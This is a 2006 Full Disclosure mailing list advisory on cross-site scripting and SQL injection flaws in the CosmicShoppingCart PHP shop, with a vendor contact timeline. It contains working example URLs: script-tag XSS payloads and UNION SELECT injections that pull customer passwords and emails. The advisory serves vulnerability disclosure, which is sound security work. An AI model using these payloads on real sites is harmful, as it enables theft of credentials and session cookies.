Full Disclosure mailing list archives
ZH2006-20 SA: CosmicShoppingCart Multiple Vulnerabilities
From: Vympel <vympel.br () gmail com>
Date: Fri, 26 May 2006 20:43:57 -0300
Software: CosmicShoppingCart (www.cosmicphp.com) Risk: Medium Discovered by: Vympel (Marcelo Almeida)Background: CosmicShoppingCart is a PHP / MySQL e-commerce system. It is a fully customizable, shopping cart designed.
Description:Multiple Cross site scripting and SQL injection vulnerabilities have been found in CosmicShoppingCart.
Details:1)Multiple Cross site scripting vulnerabilities have been found in the following pages:
cosmicshop/search.php cosmicshop/search_cat.php cosmicshop/search_price.php cosmicshop/product_details.php Examples: cosmicshop/search.php?query=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E cosmicshop/search_cat.php=doc&data=%3Cscript%3Ealert('xss');%3C/script%3E2)SQL injections have been found, they could be exploited by users to retrieve the passwords of the admin.
Examples: cosmicshop/search.php?max=-1%20UNION%20SELECT%201,1,1,cust_password,1,1,1,1,1%20FROM%20custs/* cosmicshop/search.php?max='2'%20UNION%20SELECT%20'a','a','a',cust_email,cust_password,'abc',1,'a','a'%20FROM%20custs-- Vendor: First contact 16/02/2005 Contacted again in 25/03/2005 Publish advisory 25/05/2006 http://www.zone-h.org/advisories/read/id=9058 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- ZH2006-20 SA: CosmicShoppingCart Multiple Vulnerabilities Vympel (May 26)